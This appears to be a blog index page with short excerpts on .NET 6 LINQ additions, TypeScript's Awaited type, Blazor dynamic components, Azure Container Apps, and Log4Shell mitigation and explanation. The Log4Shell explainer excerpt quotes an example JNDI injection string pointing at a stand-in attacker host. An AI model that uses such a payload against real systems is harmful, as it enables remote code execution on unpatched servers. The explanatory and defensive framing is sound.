A small but frequent annoyance in LINQ was finding the object with the max value. Previously, we had doing `OrderByDescending(x => x.Val).First()`, which is O(N log N). .NET 6 adds `MaxBy` and `MinBy`. This is O(N) and much more readable. Other additions include `Chunk()` for splitting lists into batches.
Read more →TypeScript 4.5: The Awaited Type
TypeScript 4.5 adds the `Awaited<T>` utility type. It recursively unwraps Promises. This is extremely helpful when you need to type the result of a library function that returns a Promise, but the library doesn’t export the return value interface.
Read more →Mitigating Log4Shell in Azure
If you cannot patch instantly, use WAF. Azure Front Door: Rule set newly updated to block JNDI strings. Azure Firewall: IDPS signatures updated.
Read more →Log4Shell Explained (CVE-2021-44228)
Log4Shell is arguably the worst vulnerability in a decade. The Apache Log4j library (Java) allowed remote code execution via a simple log message injection. .NET is not affected, but understanding this is critical for polyglot teams. The Exploit A malicious string like `${jndi:ldap://attacker.com/a}` in a log message triggers a JNDI lookup, downloading and executing a […]
Read more →Blazor in .NET 6: Dynamic Components
.NET 6 Blazor introduces “, allowing you to render a component whose type is selected at runtime. No more massive switch statements in render trees. Usage Use Cases Plugin systems where component types are registered dynamically. Dashboard builders with user-selectable widgets. Key Takeaways Combine with `System.Reflection` to load components by name. Parameters must be passed […]
Read more →Azure Container Apps is GA
Azure Container Apps (ACA) is now Generally Available. It provides serverless containers without managing Kubernetes, with built-in KEDA scaling and Dapr integration. When to Use ACA vs AKS Feature ACA AKS Control Plane Management Fully Managed Self Managed Scale to Zero ✅ Yes Requires KEDA Custom CRDs ❌ No ✅ Yes Key Takeaways Use ACA […]
Read more →